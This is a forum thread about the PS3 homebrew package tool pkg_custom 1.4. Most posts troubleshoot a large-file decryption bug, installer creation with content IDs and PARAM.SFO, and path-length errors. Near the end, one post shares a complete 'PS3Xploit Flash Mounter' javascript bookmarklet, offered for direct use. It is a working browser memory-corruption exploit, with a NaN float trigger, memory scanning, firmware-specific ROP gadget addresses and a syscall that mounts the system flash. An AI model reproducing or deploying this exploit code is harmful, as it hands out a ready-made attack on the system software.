PS3 pkg_custom 1.4

The error occurs processing the last chunk of this code. Specifically calling the crypt() function.
View attachment 38161

The .dec file is created partially. In my test the PKG is 1,068,001 KB, but the .dec file aborted at 1,048,576 KB.
In my internal test build I increased the buffer size to 128MB, but the error still occurs.

As it fails in: decFile.write(crypt(context, pkgData, chunkSize)) the partial .dec file is created but the package is not extracted.

Smaller files are decrypted fine. The PKG that fails has only 5 files: 3MB, 511MB, 42MB, 443MB, 42MB,

I have been too busy lately with personal issues, so I haven't had time to continue debuging.
It looks like the size parameter that gets passed to the crypt function could be too large for the last chunk of the file. Try changing chunkSize to len(pkgData) - when you have the time ofc.
 
The program not works on my pc and still i've not got why... however i've downloaded a similar program called "pkg maker" and works perfectly about installing files through pkg , ok, but not about installing games, custom package is placing game folder to games dir but not showing it into xmb, so i guess that for games is required normal pkg repacker for id, parameters and so on for get installed correctly, however for my purposes pkg maker is perfect since what i was trying to do was exactly place files around through pkg so no more annoying file manager work copy/paste etc.
 
Hi Guys, one question:
I can make pkg's and they works great, but only with files that I want to "copy", when I try to make a pkg with an app, I just get the files copied but no icon in the "game" menu, so I need to rebuild database to get it. so my question is:
How I can build a pkg that install the files and appears the icons in game menu with no rebuild database step ?
Thank you.
 
Hi Guys, one question:
I can make pkg's and they works great, but only with files that I want to "copy", when I try to make a pkg with an app, I just get the files copied but no icon in the "game" menu, so I need to rebuild database to get it. so my question is:
How I can build a pkg that install the files and appears the icons in game menu with no rebuild database step ?
Thank you.

Create a folder named as the content id of the pkg to be created.

Put the ICON0. PNG, PARAM.SFO and USRDIR inside that folder.

Drag & drop the folder with the content id over pkg_custom.exe

Or use the command line like
pkg_custom.exe -c XX0000-CONTENTID_00-0000000000000000 gamepath
 
Create a folder named as the content id of the pkg to be created.

Put the ICON0. PNG, PARAM.SFO and USRDIR inside that folder.

Drag & drop the folder with the content id over pkg_custom.exe

Or use the command line like
pkg_custom.exe -c XX0000-CONTENTID_00-0000000000000000 gamepath

Thanks for the help, I tried what you said, but get the same result as before, as I said; I can create the pkg, and I can install it, the files are copied with no problem, the issue is when I want to create an installer, the folder and the files in "dev_hdd0\game" are created, but I get no Icon in "game" xmb menu, unless I rebuld database, once I rebult database, the icon app it appears in the "game" menu, and I can use it normal.

am I missing something ? theres any trick ? I've tried with (.bat) "make_package_custom.exe" < v1.4 and the "pkg_custom.exe" v1.4 with same results.

what do you mean "content id" of the pkg ? you mean, the "title id" from param.sfo ?
is there any video or tutorial that I can see ? this is driving me crazy :/

Thanx again
 
Thanks for the help, I tried what you said, but get the same result as before, as I said; I can create the pkg, and I can install it, the files are copied with no problem, the issue is when I want to create an installer, the folder and the files in "dev_hdd0\game" are created, but I get no Icon in "game" xmb menu, unless I rebuld database, once I rebult database, the icon app it appears in the "game" menu, and I can use it normal.

am I missing something ? theres any trick ? I've tried with (.bat) "make_package_custom.exe" < v1.4 and the "pkg_custom.exe" v1.4 with same results.

what do you mean "content id" of the pkg ? you mean, the "title id" from param.sfo ?
is there any video or tutorial that I can see ? this is driving me crazy :/

Thanx again

If you open the PKG with PKGView and see some folders like .. > .. > dev_hdd0, then you probably create the PKG in a wrong way.

I use this pkg_custom.exe to create webMAN MOD installer with this command line.
pkg_custom.exe -c EP0001-UPDWEBMOD_00-0000000000000000 folder

In this example, EP0001-UPDWEBMOD_00-0000000000000000 is the Content ID required by PKG for installation.

The content of the PKG is stored in the the folder build\EP0001-UPDWEBMOD_00-0000000000000000. It should contain a PARAM.SFO, ICON0.PNG and USRDIR.

If you don't include PARAM.SFO with a CATEGORY = HG the game will not be listed on XMB.

Alternatively you can use psn_package_npdrm.exe but you need to create a package.conf like:
Code:
ContentID = UP0001-NPUB99999_00-0000000000000000
Klicensee = 0x00000000000000000000000000000000
DRMType = Free
ContentType = GameExec
PackageVersion = 01.00

psn_package_npdrm.exe -n --nofindlimit package.conf "folder"
 
@aldostools , @lmn7

I just copied 2 folders to make a variant of it and renamed the existing one, so it's not related to path lenght

It had 2 folders

All-All-1. PS3 Pro Lite
All-All-2. PS3 4K Pro Lite

they are working before, i just renamed them and created 2 copies and now i'm getting erros.

Also i would like to request, if there is an error, the cmd prompt doesn't closes itself, so we can read the error.

Edit: If i started over again to see where it gets stuck

Works:
All-All-1. PS3 Pro Lite (4.90)
All-All-2. PS3 4K Pro Lite (4.90)

Doesn't work
All-All-1. PS3 Pro Lite (4.90 Only)
All-All-2. PS3 4K Pro Lite (4.90 Only)

but i have it in another folder, but not top deep and it works

Edit 2: i tried both that worked and i added one more and the .exe gave the error again
All-All-1. PS3 Pro Lite (4.90)
All-All-2. PS3 4K Pro Lite (4.90)

All-All-1. PS3 4K Pro Lite (4.84~4.89)

Edit 3: Confirmed its folder name lenght
All-All-1. PS3 4K Pro Lite (4.84~4.89) doesnt work

All-All-1. PS3 4K Pro (4.84~4.89) works


Maybe it's related to path name in deep paths? as the same name works in paths not too deep.


1WiViDu.png


Pl94K3a.png

0TchqhU.png


The botton message says cannot find the specific path , the folder i edited
 
Last edited:
@aldostools , @lmn7

I just copied 2 folders to make a variant of it and renamed the existing one, so it's not related to path lenght

It had 2 folders

All-All-1. PS3 Pro Lite
All-All-2. PS3 4K Pro Lite

they are working before, i just renamed them and created 2 copies and now i'm getting erros.

Also i would like to request, if there is an error, the cmd prompt doesn't closes itself, so we can read the error.

Edit: If i started over again to see where it gets stuck

Works:
All-All-1. PS3 Pro Lite (4.90)
All-All-2. PS3 4K Pro Lite (4.90)

Doesn't work
All-All-1. PS3 Pro Lite (4.90 Only)
All-All-2. PS3 4K Pro Lite (4.90 Only)

but i have it in another folder, but not to deep and it works

Edit 2: i tried both that worked and i added one more and the .exe gave the error again
All-All-1. PS3 Pro Lite (4.90)
All-All-2. PS3 4K Pro Lite (4.90)

All-All-1. PS3 4K Pro Lite (4.84~4.89)


1WiViDu.png


Pl94K3a.png

0TchqhU.png


The botton message says cannot find the specific path , the folder i edited

@aldostools @lmn7 i broke the mention in my post, so i'm mentioning both of you again, even knowing that aldo have the notifications turned off.
 
@aldostools @lmn7 i broke the mention in my post, so i'm mentioning both of you again, even knowing that aldo have the notifications turned off.

Avoid using spaces in the paths.
It looks it used the short path of Windows that uses directory names 8+3 characters.

Make path shorter as lmn7 suggested.

To get the error message, run the tool from a batch file. Add a pause command to prevent the CMD window closes.
 
Last edited:
Forgot to share this, offline flash mounter you can add to your XMB
Code:
javascript:eval('var xtra_data,stack_frame,jump_2,jump_1,xtra_data_addr,stack_frame_addr,jump_2_addr,jump_1_addr,debug=!1,ps3xploit_ecdsa_key="948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773",index_key="DA7D4B5E499A4F53B1C1A14A7484443B",start_x="xxxx",offset_array=[],t_out=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_base_off=0,search_size_ext=0,gtemp_addr=2365587456,total_loops=0,max_loops=20,frame_fails=0,sp_exit=2413354176,ffs=4294967295,dbyte41=16705,dbyte00=0,byte_size=1,hword_size=2,word_size=4,dword_size=8,mbytes=1048576,stat_size_offset=40,toc_addr=7296336,default_vsh_pub_toc=7263652,vsh_opd_patch=617820,vsh_opd_addr=7256936,vsh_ps3xploit_key_toc=7370612,toc_entry1_addr=7185360,toc_entry2_addr=7494200,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255744,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332484,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380604,gadget7_addr=131024,gadget8_addr=131072,gadget_mod1_addr=6352696,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,hr="\74hr\76",gadget12_addr=0x0C864C,ua=navigator.userAgent,fwv=ua.substring(ua.indexOf("5.0 (")+19,ua.indexOf(") Apple")),flash_partition1="xxxxCELL_FS_IOS:BUILTIN_FLSH1",filesystem_fat="CELL_FS_FAT",mount_path_blind="/dev_blind";document.write(\47\74html\76\74head\76\74title\76PS3Xploit - Flash Mounter\74/title\76\74/head\76\74body id="bodyId" style="background-color:#FFFFFF"\76\74div id="headerId"\76\74h1\76Mounting dev_flash to dev_blind...\74/h1\76\74div id="exploit"\76\74/div\76\74div id="trigger"\76\74/div\76\74/body\76\74/html\76\47);if(fwv=="4.84"){var toc_addr=7296344,default_vsh_pub_toc=7263660,vsh_opd_patch=617820,vsh_opd_addr=7256944,vsh_toc_addr_screenshot=7472764,vsh_ps3xploit_key_toc=7370860,toc_entry1_addr=7185360,toc_entry2_addr=7494456,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255752,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332644,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380764,gadget7_addr=131024,gadget8_addr=131072,gadget9_addr=170760,gadget10_addr=6479908,gadget11_addr=5874864,gadget12_addr=820812,gadget13_addr=4777384,gadget14_addr=4769696,gadget15_addr=4758664,gadget_mod1_addr=6352856,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod4b_addr=4376440,gadget_mod4c_addr=346864,gadget_mod5_addr=4339932,gadget_mod6_addr=134144,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,gadget_mod9_addr=68384,gadget_mod10_addr=1857428,gadget_mod11_addr=1618244,gadget_mod12_addr=6500860,gadget_mod13_addr=3369072,gadget_mod14_addr=6502656,gadget_mod15_addr=3788856,gadget_mod16_addr=5206828}function hexh2bin(a){return String.fromCharCode(a)}function hexw2bin(a){return String.fromCharCode(a\76\7616)+String.fromCharCode(a)}function hexdw2bin(a){return hexw2bin(0)+hexw2bin(a)}String.prototype.toHex16=function(){return(\470000\47+this).substr(-4)};String.prototype.toAscii=function(a){var b=\47\47;var i=0;while(i\74this.length){if(a===true){b+=this.charCodeAt(i).toString(16).toHex16()}else{b+=this.charCodeAt(i).toString(16)}i+=1}return b};String.prototype.convert=function(a){if(this.length\741){return\47\47}var b=\47\47;var c=\47\47;var i=0;var d=[];if(a===true){b=this}else{b=this.toAscii()}while((b.length%4)!==0){b+=\4700\47}if(b.substr(b.length-3,2)!==\4700\47){b+=\470000\47}while(i\74b.length){c=b.substr(i,4);d.push(String.fromCharCode(parseInt(c,16)));i+=4}return d.join(\47\47)};String.prototype.convertedSize=function(a){if(this.length\741){return 0}var b=\47\47;if(a===true){b=this}else{b=this.toAscii()}while((b.length%4)!==0){b+=\4700\47}if(b.substr(b.length-3,2)!==\4700\47){b+=\470000\47}return b.length/2};String.prototype.replaceAt=function(a,b){return this.substr(0,a)+b+this.substr(a+b.length)};String.prototype.repeat=function(a){return new Array(a+1).join(this)};Number.prototype.noExponents=function(){var a=String(this).split(/[eE]/);if(a.length===1){return a[0]}var z=\47\47,sign=this\740?\47-\47:\47\47,str=a[0].replace(\47.\47,\47\47),mag=Number(a[1])+1;if(mag\740){z=sign+\470.\47;while(mag++){z+=\470\47}return z+str.replace(/^\-/,\47\47)}mag-=str.length;while(mag--){z+=\470\47}return str+z};function fromIEEE754(a,b,c){var d=0;var g=[];var i;var j;var h;for(i=a.length;i;i-=1){h=a[i-1];for(j=8;j;j-=1){g.push(h%2?1:0);h=h\76\761}}g.reverse();var k=g.join(\47\47);var l=(1\74\74(b-1))-1;var s=parseInt(k.substring(0,1),2)?-1:1;var e=parseInt(k.substring(1,1+b),2);var f=parseInt(k.substring(1+b),2);if(e===(1\74\74b)-1){d=f!==0?NaN:s*Infinity}else if(e\760){d=s*Math.pow(2,e-l)*(1+f/Math.pow(2,c))}else if(f!==0){d=s*Math.pow(2,-(l-1))*(f/Math.pow(2,c))}else{d=s*0}return d.noExponents()}function generateIEEE754(a,b){var c=new Array((a\76\7624)&0xFF,(a\76\7616)&0xFF,(a\76\768)&0xFF,(a)&0xFF,(b\76\7624)&0xFF,(b\76\7616)&0xFF,(b\76\768)&0xFF,(b)&0xFF);return fromIEEE754(c,11,52)}function generateExploit(a,b){var n=(a\74\7432)|((b\76\761)-1);return generateIEEE754(a,(n-a))}function readMemory(a,b){if(document.getElementById(\47exploit\47)){document.getElementById(\47exploit\47).style.src="local("+generateExploit(a,b)+")"}}function checkMemory(a,b,c){if(document.getElementById(\47exploit\47)){readMemory(a,b);if(debug===true){var x=document.getElementById(\47exploit\47).style.src.substr(6,c);return x}return document.getElementById(\47exploit\47).style.src.substr(6,c)}}function trigger(a){if(document.getElementById(\47trigger\47)){document.getElementById("trigger").innerHTML=-parseFloat("NAN(ffffe"+a.toString(16)+")")}}function rop_exit(a){window.close()}function load_check(){if(total_loops\74max_loops){t_out=setTimeout(initROP,1000,false)}else{total_loops=0;t_out=0}}function findJsVariableOffset(a,b,c,d){readMemory(c,d);var e=document.getElementById(\47exploit\47).style.src.substr(6,d);var i=0;var t;var k;var f;var g;while(i\74(e.length*2)){if(e.charCodeAt(i/2)===b.charCodeAt(0)){f=0;for(k=0;k\74(b.length*2);k+=0x2){if(e.charCodeAt((i+k)/2)!==b.charCodeAt(k/2)){break}f+=1}if(f===b.length){g=c+i+4;for(t=0;t\74offset_array.length;t+=1){if(offset_array[t]===g){return-1}}offset_array.push(g);return g}}i+=0x10}var h=c+d;return 0}function memcpy(a,b,c){return callsub(gadget8_addr,a,b,c,0,0,0,0,0,0,0x70)}function store_word(a,b,c,d,e){if(c===null){c=gtemp_addr}if(d===null){d=gtemp_addr}if(e===null){e=gtemp_addr}return hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(b)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(a-0xC74)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod7_addr)+fill_by_16bytes(0x70,dbyte41)+hexdw2bin(c)+hexdw2bin(d)+hexdw2bin(e)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function stack_frame_hookup(){return unescape("\u4141\u2A2F")+hexw2bin(gadget1_addr)+hexw2bin(toc_addr)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(toc_addr)+fill_by_16bytes(0x70,dbyte41)}function stack_frame_exit(){return hexdw2bin(gadget_mod8_addr)+unescape("\u2F2A")}function syscall(a,b,c,d,e,f,g,h,i,j){if(j===null){j=gtemp_addr}return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(g)+hexw2bin(f)+hexw2bin(e)+hexw2bin(d)+hexw2bin(c)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(h)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(b)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod4a_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(j)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function callsub(a,b,c,d,e,f,g,h,i,j,k,l,m){var n=0x20;if(m===null){m=gtemp_addr}if(l===null){l=gtemp_addr}return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(j)+hexw2bin(i)+hexw2bin(g)+hexw2bin(f)+hexw2bin(e)+hexw2bin(d)+hexw2bin(c)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(h)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(b)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(l)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(a)+fill_by_16bytes(k-n,dbyte00)+hexdw2bin(m)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function fill_by_4bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/4){c+=e.repeat(2);d++}return c}function fill_by_8bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/8){c+=e.repeat(4);d++}return c}function fill_by_16bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/16){c+=e.repeat(8);d++}return c}function initDefaults(){offset_array=[];xtra_data_addr=0;stack_frame_addr=0;jump_2_addr=0;jump_1_addr=0;ps3xploit_ecdsa_key_addr=0;index_key_addr=0;search_max_threshold=70*0x100000;search_base=0x80100000;search_size=2*mbytes;search_size_ext=0*mbytes;search_base_off=0*mbytes;total_loops++}function initROP(a){try{if(a===true){frame_fails=0;search_base_off=0;search_size_ext=0}if(t_out!==0){clearTimeout(t_out);t_out=0}initDefaults();xtra_data=start_x.convert()+flash_partition1.convert()+filesystem_fat.convert()+mount_path_blind.convert()+unescape("\uFD7E");while(xtra_data_addr===0){if(search_max_threshold\74search_size){load_check();return}xtra_data=xtra_data.replaceAt(0,hexh2bin(0x7EFD));xtra_data_addr=findJsVariableOffset("xtra_data",xtra_data,search_base,search_size);search_max_threshold-=search_size}flash_partition1_addr=xtra_data_addr+0x6;filesystem_fat_addr=flash_partition1_addr+flash_partition1.convertedSize()-0x4;mount_path_blind_addr=filesystem_fat_addr+filesystem_fat.convertedSize();stack_frame=stack_frame_hookup()+syscall(0x345,flash_partition1_addr,filesystem_fat_addr,mount_path_blind_addr,0,0,0,0,0)+stack_frame_exit();while(stack_frame_addr===0){if(search_max_threshold\74search_size+search_size_ext){frame_fails++;if((frame_fails%10)===0){search_base_off+=0;search_size_ext+=0}load_check();return}stack_frame=stack_frame.replaceAt(0,hexh2bin(0x2A2F));stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext);if(stack_frame_addr==-1)if(search_max_threshold\74search_size+search_size_ext){frame_fails++;load_check();return}search_max_threshold-=search_size+search_size_ext}jump_2=unescape("\u0102\u7EFB")+fill_by_16bytes(0x30,0x8282)+hexw2bin(stack_frame_addr)+unescape("\uFB7E");while(jump_2_addr===0){if(search_max_threshold\74search_size){load_check();return}jump_2=jump_2.replaceAt(0,hexh2bin(0x7EFB));jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size);if(jump_2_addr==-1)if(search_max_threshold\74search_size){load_check();return}search_max_threshold-=search_size}jump_1=unescape("\u4141\u7EFA")+hexw2bin(jump_2_addr)+unescape("\uFA7E");while(jump_1_addr===0){if(search_max_threshold\74search_size){load_check();return}jump_1=jump_1.replaceAt(0,hexh2bin(0x7EFA));jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size);if(jump_1_addr==-1)if(search_max_threshold\74search_size){load_check();return}search_max_threshold-=search_size}var b=checkMemory(stack_frame_addr-0x4,0x8000,stack_frame.length);var x=checkMemory(xtra_data_addr-0x4,0x1000,xtra_data.length);var c=checkMemory(jump_2_addr-0x4,0x1000,jump_2.length);var d=checkMemory(jump_1_addr-0x4,0x1000,jump_1.length);if((c===jump_2)&&(d===jump_1)&&(x===xtra_data)&&(b===stack_frame)){if(t_out!==0){clearTimeout(t_out)}triggerX()}else{load_check()}}catch(e){}}function triggerX(){setTimeout(trigger,1000,jump_1_addr);setTimeout(rop_exit,2000,hr);setTimeout(window.close,2000);t_out=0;total_loops=0}initROP(true);');

Enjoy

Does this work for dev_rewrite 4.82?
 
Last edited:
Back
Top